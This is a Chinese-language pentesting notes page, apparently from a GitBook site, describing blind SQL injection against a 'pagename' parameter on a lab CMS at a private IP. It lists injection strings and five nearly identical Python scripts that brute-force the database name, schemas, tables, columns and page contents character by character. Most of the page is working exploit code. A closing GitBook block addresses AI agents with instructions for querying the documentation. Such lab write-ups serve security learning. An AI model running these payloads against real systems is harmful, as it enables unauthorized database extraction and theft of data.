> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md).
# SQLi 页面名
## SQL 注入：
**SQL 注入漏洞的检测** 在 "home" 字段中添加一个撇号后，会出现 SQL 错误，这表明可能存在 SQL 注入攻击漏洞。
**SQL 注入漏洞的利用** 通过输入 SQL 注入 `/cms.php?pagename=home' or '1'='1`, 没有出现错误，证实了该漏洞。
**使用 Substring 提取数据库名称** 现在，借助这个入口点，我们使用 **substring** 参数，通过输入字母直到错误消失来查找数据库名称的字符。以下是前三个字符的示例：
* 第一个字母： `/cms.php?pagename=home' or substring(database(),1,1)='a`
* 第二个字母： `/cms.php?pagename=home' or substring(database(),2,1)='d`
* 第三个字母： `/cms.php?pagename=home' or substring(database(),3,1)='m` 首先，可以用一个 Python 脚本自动化整个过程，以获取 **数据库名称**.
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] 正在退出.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#全局变量
characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQL注入")
p1.status("开始 SQL 注入...")
time.sleep(2)
p2 = log.progress("数据")
for position in range(1, 6 ):
for character in characters:
sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("SQLI 暴力破解已完成")
p2.success(data)
if __name__ == '__main__':
sqli()
然后，用一个 Python 脚本自动化整个过程以 **获取名称** 所有数据库的。
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] 正在退出.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#全局变量
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQL注入")
p1.status("开始 SQL 注入...")
time.sleep(2)
p2 = log.progress("数据")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("SQLI 暴力破解已完成")
p2.success(data)
if __name__ == '__main__':
sqli()
```
现在，用一个 Python 脚本自动化整个过程以 **获取表的名称** （admin）数据库的。
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] 正在退出.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#全局变量
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQL注入")
p1.status("开始 SQL 注入...")
time.sleep(2)
p2 = log.progress("数据")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("SQLI 暴力破解已完成")
p2.success(data)
if __name__ == '__main__':
sqli()
```
现在，用一个 Python 脚本自动化整个过程以 **获取列的名称** （admin）数据库的。
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] 正在退出.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#全局变量
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQL注入")
p1.status("开始 SQL 注入...")
time.sleep(2)
p2 = log.progress("数据")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("SQLI 暴力破解已完成")
p2.success(data)
if __name__ == '__main__':
sqli()
```
现在，用一个 Python 脚本自动化整个过程以 **获取内容** （admin）数据库中 pagename 列的。
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] 正在退出.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#全局变量
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQL注入")
p1.status("开始 SQL 注入...")
time.sleep(2)
p2 = log.progress("数据")
for position in range(1, 500):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("SQLI 暴力破解已完成")
p2.success(data)
if __name__ == '__main__':
sqli()
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.